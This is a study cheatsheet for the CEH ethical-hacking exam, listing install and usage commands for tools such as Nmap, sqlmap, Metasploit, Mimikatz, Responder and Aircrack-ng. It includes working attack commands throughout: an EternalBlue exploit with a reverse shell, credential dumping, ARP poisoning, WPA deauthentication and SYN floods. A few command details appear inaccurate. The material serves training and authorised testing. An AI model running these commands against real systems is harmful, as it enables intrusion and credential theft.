CEH Tools - Install + Usage Cheatsheet

CEH v13 exam focus: every tool below appears in EC-Council’s official blueprint, the EC-Council iLab, or the CEH Practical. Install order matches the kill chain: recon → scan → enumerate → exploit → web → wireless → credential → sniff/forensic.

Authoritative sources: nmap.org/book, portswigger.net/burp/documentation, sqlmapproject/sqlmap (GitHub), openwall.com/john, hashcat.net/wiki, aircrack-ng.org, kismetwireless.net, rapid7.com/metasploit, OWASP ZAP docs, maltego.com, autopsy.com, tenable.com/nessus, wireshark.org/docs. Fetched 2026-09.

0. The One-Shot Kali Install (Top 25)

On a fresh Kali / Debian / Ubuntu host, install every CEH-critical tool in one block (Kali already ships most; this is the rescue command for stock Debian/Parrot/Ubuntu).

sudo apt update && sudo apt -y install \
  kali-linux-default nmap wireshark tshark burpsuite zaproxy \
  sqlmap metasploit-framework john hashcat hydra aircrack-ng kismet \
  maltego theharvester recon-ng nikto ffuf wfuzz ettercap-graphical \
  bettercap mimikatz responder yersinia hping3 scapy sn1per autopsy \
  volatility3 netcat-openbsd gobuster hashid johnny wordlists

Nessus Essentials requires a free registration at https://www.tenable.com/products/nessus/nessus-essentials.

1. Nmap

Category: Network scanner | Domain: 3.A Reconnaissance | Install: sudo apt install nmap One-liner: The canonical port scanner. Raw-IP, scripts via NSE, default -sS when run as root. Top commands:

nmap -sS -p- -T4 target - full SYN scan, all 65 535 ports, aggressive timing
nmap -sV -A -O target - version + aggressive + OS detection
nmap --script=vuln target - run every NSE vuln script
nmap -sI zombie target - idle (zombie) scan via idle host
nmap -D RND:10 target - decoy scan, hides your IP among 10 randoms

2. Wireshark / TShark

Category: Packet capture | Domain: 3.B System / Network Attacks | Install: sudo apt install wireshark tshark One-liner: Graphical (Wireshark) and CLI (TShark) packet analyser; display filters slice traffic fast. Top commands:

wireshark -i eth0 -k - live capture on eth0
tshark -i any -w out.pcap - CLI capture
tshark -r cap.pcap -Y "http.request" - only HTTP requests
tshark -r cap.pcap -Y "tcp.port==445" -T fields -e ip.src -e ip.dst - SMB src/dst
tcp.stream eq 4 then right-click → Follow TCP Stream - reconstruct session

3. Burp Suite

Category: Web proxy | Domain: 3.C Application / Cloud | Install: sudo apt install burpsuite (or download jar from portswigger.net) One-liner: Intercepting proxy for HTTP(S); Community covers Repeater, Intruder (rate-limited), Decoder, Comparer. Top commands:

java -jar burpsuite_community.jar - launch GUI
burp-cli -i target -o report.html - headless CLI scan (Pro only)
Repeater: edit raw HTTP, send, inspect - workhorse for SQLi / XSS / SSRF
Intruder → Sniper with §id§ markers - fuzz one position
Proxy → Match and Replace - strip CSRF tokens for repeated tests

4. OWASP ZAP

Category: Web scanner | Domain: 3.C Application | Install: sudo apt install zaproxy One-liner: Free, open-source alternative to Burp; better for automated scans + spider. Top commands:

zaproxy -daemon -port 8080 - start as daemon
zap-baseline.py -t https://target - passive baseline scan (CI-friendly)
zap-full-scan.py -t https://target -r report.html - full active scan
zap-api-scan.py -t openapi.yaml -f openapi - API scan from OpenAPI spec
HUD: launch browser through ZAP proxy → click → see alerts in page

5. sqlmap

Category: SQL injection automation | Domain: 3.C Application | Install: sudo apt install sqlmap (or git clone) One-liner: Automatic SQLi detection + exploitation; MySQL, Postgres, MSSQL, Oracle, SQLite. Top commands:

sqlmap -u "http://x/?id=1" --dbs - fingerprint DBs
sqlmap -u URL -D db -T users --dump - dump table
sqlmap -r req.txt --risk=3 --level=5 --os-shell - captured request, OS shell
sqlmap -u URL --tamper=space2comment --batch - bypass simple WAF
sqlmap -u URL --proxy socks5://127.0.0.1:9050 - chain through Tor

6. Metasploit Framework

Category: Exploitation | Domain: 3.B / 3.C | Install: sudo apt install metasploit-framework (or curl msfinstall + run) One-liner: Modular exploit framework; msfconsole is the heart. Top commands:

msfdb init && msfconsole - start DB + console
db_nmap -sS -p- target - nmap into MSF DB
search type:exploit name:smb - find SMB exploits
use exploit/windows/smb/ms17_010_eternalblue → set RHOSTS → set PAYLOAD windows/x64/meterpreter/reverse_tcp → exploit
sessions -i 1 → getuid, hashdump, load kiwi - post-exploitation

7. John the Ripper

Category: Offline hash cracking | Domain: 3.B / 3.C | Install: sudo apt install john (or build john-jumbo from source) One-liner: CPU-bound cracker; jumbo supports 200+ hash formats (NTLM, bcrypt, MD5, sha512crypt, WPA-PSK). Top commands:

john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt - dictionary
john --format=ntlm hashes.txt - explicit format
john --rules --wordlist=... hashes.txt - mangling rules
john --show hashes.txt - show cracked
john --restore - resume session

8. Hashcat

Category: GPU hash cracking | Domain: 3.B | Install: sudo apt install hashcat One-liner: GPU-accelerated cracker (CUDA / OpenCL); rules + masks. Top commands:

hashcat -m 0 -a 0 hashes.txt rockyou.txt - MD5 dictionary
hashcat -m 1000 -a 3 hashes.txt ?a?a?a?a?a?a - NTLM mask, 6-char all-printable
hashcat -m 2500 -a 0 handshake.hc22000 rockyou.txt - WPA/WPA2 from hcx capture
hashcat -m 1800 -a 0 hashes.txt rockyou.txt - sha512crypt (shadow)
hashcat --restore / hashcat -I (info GPUs)

9. Hydra

Category: Online brute force | Domain: 3.B | Install: sudo apt install hydra One-liner: Parallelised login cracker for SSH, FTP, HTTP, RDP, SMB, IMAP. Top commands:

hydra -l admin -P rockyou.txt ssh://target - SSH
hydra -L users.txt -P rockyou.txt ftp://target - FTP
hydra -l admin -P rockyou.txt 10.0.0.0/24 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid" - HTTP form
hydra -l admin -P rockyou.txt rdp://target - RDP
hydra -l admin -P rockyou.txt smb://target - SMB

10. Aircrack-ng

Category: Wireless cracking | Domain: 3.B | Install: sudo apt install aircrack-ng One-liner: Suite (airodump, aireplay, aircrack) for WEP / WPA-PSK capture + crack. Needs monitor-mode adapter. Top commands:

airmon-ng start wlan0 - put card in monitor mode
airodump-ng wlan0mon - discover APs / clients
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon - capture one AP on ch 6
aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon - deauth to force handshake
aircrack-ng -w rockyou.txt -b AA:BB:CC:DD:EE:FF cap-01.cap - crack WPA

11. Kismet

Category: Wireless detection / sniffing | Domain: 3.A / 3.B | Install: sudo apt install kismet One-liner: Passive 802.11 a/b/g/n/ac/ax sniffer, WIDS, Bluetooth, Zigbee; logs pcap. Top commands:

kismet - launch GUI (display required)
kismet_server --capture-source=wlan0 - headless capture daemon
Browse http://localhost:2501 for live web UI
kismet --log-type pcap --log-prefix /tmp/kismet - pcap logging
kismetdb_to_pcap /tmp/kismet/*.kismetdb out.pcap - convert DB to pcap

12. Maltego

Category: OSINT / link analysis | Domain: 3.A | Install: Download CE / Pro from maltego.com (Java); Kali ships a non-commercial build. One-liner: Graph-based entity-link tool; transforms pull data from Shodan, VirusTotal, HaveIBeenPwned, Whois. Top commands:

Run Maltego CE → new graph → drag Domain → right-click → To DNS Name
To IP Address → To Netblock → To Entities (Shodan) - pivot to exposed services
Use Paterva CTAS / CE transform bundles for CEH-relevant pivots
Export graph as PNG / .mtgx for evidence
Lab hint: combine Maltego + theHarvester + recon-ng in the recon phase

13. theHarvester

Category: Email / subdomain OSINT | Domain: 3.A | Install: sudo apt install theharvester (or git clone) One-liner: Pulls emails, subdomains, hosts from 30+ sources (Bing, Google, Shodan, Hunter, crt.sh). Top commands:

theHarvester -d target.com -b all - every source
theHarvester -d target.com -b bing,linkedin,crtsh -l 500 - three sources
theHarvester -d target.com -b shodan -f results.html - write HTML report
theHarvester -d target.com -b hunter -e 50 - focused email enumeration
API keys (Shodan, Hunter) via api-keys.yaml for full pulls

14. recon-ng

Category: Modular OSINT framework | Domain: 3.A | Install: sudo apt install recon-ng One-liner: Metasploit-style framework for recon; 100+ modules across hosts, domains, contacts, credentials. Top commands:

recon-ng → marketplace install all → modules load recon/domains-hosts/brute_hosts
modules load recon/domains-contacts/whois_pocs → options set SOURCE target.com → run
modules load recon/hosts-ports/shodan_ip - needs Shodan API key
db insert domains target.com → db query select * from hosts where host like '%target%'
keys set shodan_api <KEY>

15. Nikto

Category: Web server scanner | Domain: 3.C | Install: sudo apt install nikto One-liner: Old-school CGI / misconfiguration / outdated-server scanner; noisy, fingerprint-heavy. Top commands:

nikto -h https://target - basic scan
nikto -h target -p 80,443,8080 -Tuning x6 - multi-port, DoS + Injection tuning
nikto -h target -C all - all CVE checks
nikto -h target -o report.html -Format htm - HTML report
nikto -h target -evasion 1 - random URI encoding evasion

16. Wfuzz / ffuf

Category: Web fuzzing | Domain: 3.C | Install: sudo apt install wfuzz ffuf One-liner: Both replace old dirb. ffuf is faster, wfuzz has richer payloads. Top commands:

ffuf -w /usr/share/wordlists/dirb/common.txt -u https://target/FUZZ - directory brute
ffuf -w params.txt -u https://target/api?FUZZ=value -mc 200,403 - parameter discovery
wfuzz -c -z file,wordlist.txt -z file,users.txt --hc 404 https://target/FUZZ/FUZ2Z - two positions
ffuf -w hosts.txt -u https://FUZZ/ -fs 1234 - virtual host discovery via response size
wfuzz -c -z range,0-9999 --hc 404 https://target/api?id=FUZZ - numeric IDOR

17. Ettercap

Category: L2 MitM | Domain: 3.B | Install: sudo apt install ettercap-graphical One-liner: Original ARP / DNS / DHCP poisoning toolkit; mostly superseded by BetterCAP but still tested. Top commands:

ettercap -G - launch GTK GUI
ettercap -T -q -M arp:remote /victim// /gateway// - text-mode ARP MitM
ettercap -T -q -M dns:host file /dns_spoof.txt /victim// - DNS spoof via hosts file
ettercap -T -q -M dhcp:255.255.255.0,192.168.1.1 /gateway// - rogue DHCP
ettercap -w dump.pcap -T -M arp:remote /a// /b// - log to pcap

18. BetterCAP

Category: Modern L2 / L7 MitM | Domain: 3.B | Install: sudo apt install bettercap (or go install github.com/bettercap/bettercap@latest) One-liner: Successor to Ettercap + MiTMProxy; caplets script WiFi, BLE, HID, HTTP, HTTPS. Top commands:

sudo bettercap -iface eth0 - start, then help
net.probe on → net.show - discover hosts
set arp.spoof.targets 192.168.1.5 → arp.spoof on - ARP poison
set net.sniff.output pcap → net.sniff on - full pcap
http.proxy on → set https.port 8443 - transparent SSL strip (HSTS caveats); caplets library: caplets.update; caplets.show

19. Mimikatz

Category: Windows credential extraction | Domain: 3.B | Install: Native Windows binary, drop mimikatz.exe; pre-built cna plugins for Cobalt Strike. One-liner: Reads plaintext passwords, hashes, Kerberos tickets from LSASS - every CEH Windows post-exploitation scenario. Top commands:

privilege::debug - gain SeDebugPrivilege
sekurlsa::logonpasswords - dump creds from LSASS
lsadump::sam - local SAM hashes
lsadump::dcsync /user:Administrator /domain:target.local - replicate DC creds
kerberos::list /export - list + export Kerberos tickets (pass-the-ticket)

20. Responder

Category: LLMNR / NBNS / mDNS poisoning | Domain: 3.B | Install: git clone https://github.com/SpiderLabs/Responder; sudo python3 Responder.py -I eth0 One-liner: Listens for LLMNR/NBNS/mDNS broadcasts, responds with itself, captures NTLMv2 hashes. Top commands:

sudo responder -I eth0 -wrf - WPAD rogue, NTLM relay, force NTLM/Basic
sudo responder.py -I eth0 -A - analyse mode (no poisoning)
sudo responder -I eth0 -d - enable DHCP rogue (lab only)
--lm for legacy LM downgrade on legacy hosts
Hand hashes to hashcat -m 5600 or john --format=netntlmv2

21. Yersinia

Category: L2 attacks | Domain: 3.B | Install: sudo apt install yersinia One-liner: Frame-crafting toolkit for STP, DHCP, CDP, HSRP, DTP, 802.1Q, VTP - every “switch attack” question on CEH. Top commands:

yersinia -G - ncurses GUI
yersinia -I - interactive CLI mode
Inside: d → DHCP → 1 (DISCOVER flood) - DHCP starvation
s → STP → claim root bridge
a → CDP → flood, then capture traffic - useful for VLAN hopping recon

22. Hping3

Category: Packet crafting / DoS | Domain: 3.B | Install: sudo apt install hping3 One-liner: TCP / UDP / ICMP packet crafter; traceroute, idle scans, SYN flood. Top commands:

hping3 -S target -p 80 -c 1 - single SYN
hping3 -S --flood -p 80 target - SYN flood (lab only)
hping3 -1 target --icmp --data 500 - ping of death (lab)
hping3 -S -p ++80 target - scan ports in order
hping3 --traceroute -S target - TCP traceroute

23. Scapy

Category: Python packet crafting | Domain: 3.B | Install: sudo apt install scapy (or pip install scapy) One-liner: Pythonic packet builder / sniffer / scanner; full protocol dissection. Top commands:

sr1(IP(dst="x")/TCP(dport=80,flags="S")) - single SYN
ans,unans = sr(IP(dst="x")/TCP(sport=RandShort(),dport=[22,80,443],flags="S")) - multi-port
send(IP(src="x",dst="y")/TCP(flags="S")/"AAAA") - raw send (lab only)
sniff(filter="tcp and port 25", prn=lambda p: p.show()) - live capture
wrpcap("out.pcap", pkts) - write pcap

24. Nessus Essentials

Category: Vulnerability scanner (free) | Domain: 3.A / 3.B / 3.C | Install: Free registration → .deb / .msi from tenable.com → sudo dpkg -i Nessus-*.deb → sudo systemctl start nessusd → browse https://localhost:8834 One-liner: Industry-standard vuln scanner; Essentials = free for 16 IPs / home use, plugin feed updated daily. Top commands:

nessuscli agent link --key=<KEY> --host=cloud.tenable.com - link agent
nessuscli scan list - list scans
nessuscli scan template list - templates (Basic, Advanced, Web App)
Launch scan via web UI → select template → set targets → launch
Export report as .nessus (XML) for compliance

25. Sn1per / Autopsy / Volatility - Forensic Triad

Category: Forensic + recon | Domain: 4.A Procedures | Install: see each

Sn1per - automated recon aggregator. git clone https://github.com/1N3/Sn1per; sudo ./install.sh. Run: sniper -t target.com -m normal (Nmap + Nikto + dnsenum). Modes: nmap, web, osint, recon, full. Output in /usr/share/sniper/loot/<target>/.

Autopsy - GUI forensic platform on top of The Sleuth Kit. sudo apt install autopsy or download Windows .msi. Workflow: New Case → Add Image → Run ingest modules (Recent Activity, Hash Lookup, Keyword Search, Exif Parser, File Type ID) → review in tree. Browser UI at http://localhost:9999/autopsy.

Volatility - memory forensics. pip install volatility3. Sample:

vol -f mem.dmp windows.info              # identify profile
vol -f mem.dmp windows.pslist            # process list
vol -f mem.dmp windows.hashdump          # SAM hashes
vol -f mem.dmp windows.netscan           # connections
vol -f mem.dmp windows.filescan | grep -i lsass  # find LSASS
vol -f mem.dmp windows.dumpfiles --pid 4 # dump files

Tool → CEH Domain Matrix

Tool	2 - Threats & Defense	3.A Reconnaissance	3.B System / Network Attacks	3.C Application / Cloud / Crypto	4 - Procedures / Legal
Nmap	-	★★★	★★	★	-
Wireshark / TShark	-	★	★★★	★	-
Burp Suite	-	-	-	★★★	-
OWASP ZAP	-	-	-	★★★	-
sqlmap	-	-	-	★★★	-
Metasploit	-	★	★★★	★★	-
John the Ripper	-	-	★★	★	-
Hashcat	-	-	★★	★	-
Hydra	-	-	★★★	-	-
Aircrack-ng	-	★★	★★★	-	-
Kismet	-	★★	★★	-	-
Maltego	-	★★★	-	-	-
theHarvester	-	★★★	-	-	-
recon-ng	-	★★★	-	-	-
Nikto	-	★	-	★★	-
Wfuzz / ffuf	-	-	-	★★★	-
Ettercap	-	-	★★★	-	-
BetterCAP	-	-	★★★	★★	-
Mimikatz	-	-	★★★	-	-
Responder	-	★	★★★	-	-
Yersinia	-	-	★★★	-	-
Hping3	-	★	★★★	-	-
Scapy	-	★	★★★	★★	-
Nessus Essentials	★	★★	★★	★★	-
Sn1per / Autopsy / Volatility	-	★★ (Sn1per)	-	-	★★★ (forensics)

★ = minor mention; ★★ = multiple exam questions; ★★★ = top-tested tool on the blueprint.

Reading the matrix: Recon = 3.A; system / network attacks = 3.B; application / cloud / crypto = 3.C. CEH v13 expects you to recognise output from volatility, autopsy, and sn1per under the procedures domain.

Sources (27 authoritative)

Nmap Reference Guide - https://nmap.org/book/man.html
Wireshark User’s Guide - https://www.wireshark.org/docs/wsug_html_chunked/
PortSwigger Burp Suite - https://portswigger.net/burp/documentation/contents
sqlmap Wiki - https://github.com/sqlmapproject/sqlmap/wiki/Usage
Rapid7 Metasploit docs - https://docs.metasploit.com/
OWASP ZAP docs - https://www.zaproxy.org/docs/desktop/
John the Ripper (Openwall) - https://www.openwall.com/john/
Hashcat Wiki - https://hashcat.net/wiki/doku.php?id=hashcat
THC-Hydra - https://github.com/vanhauser-thc/thc-hydra
Aircrack-ng documentation - https://www.aircrack-ng.org/documentation.html
Kismet docs - https://www.kismetwireless.net/docs/readme/intro/kismet/
theHarvester - https://github.com/laramies/theHarvester
Maltego - https://www.maltego.com/maltego-overview/
Tenable Nessus docs - https://docs.tenable.com/Nessus.htm
Ettercap - https://github.com/Ettercap/ettercap
BetterCAP - https://github.com/bettercap/bettercap
mimikatz - https://github.com/gentilkiwi/mimikatz
Responder (SpiderLabs) - https://github.com/SpiderLabs/Responder
Yersinia - https://github.com/tomac/yersinia
Scapy usage - https://scapy.readthedocs.io/en/latest/usage.html
Volatility Foundation - https://github.com/volatilityfoundation/volatility
Autopsy documentation - https://www.autopsy.com/documentation/
Sn1per - https://github.com/1N3/Sn1per
Nikto - https://github.com/sullo/nikto
ffuf - https://github.com/ffuf/ffuf
recon-ng - https://github.com/jasperla/recon-ng
wfuzz - https://github.com/xmendez/wfuzz

Use 99-cheatsheet.md for last-mile review; pair this file with research/07-tools-labs-and-practice-plan.md for hands-on platforms (TryHackMe, PortSwigger, HackTheBox).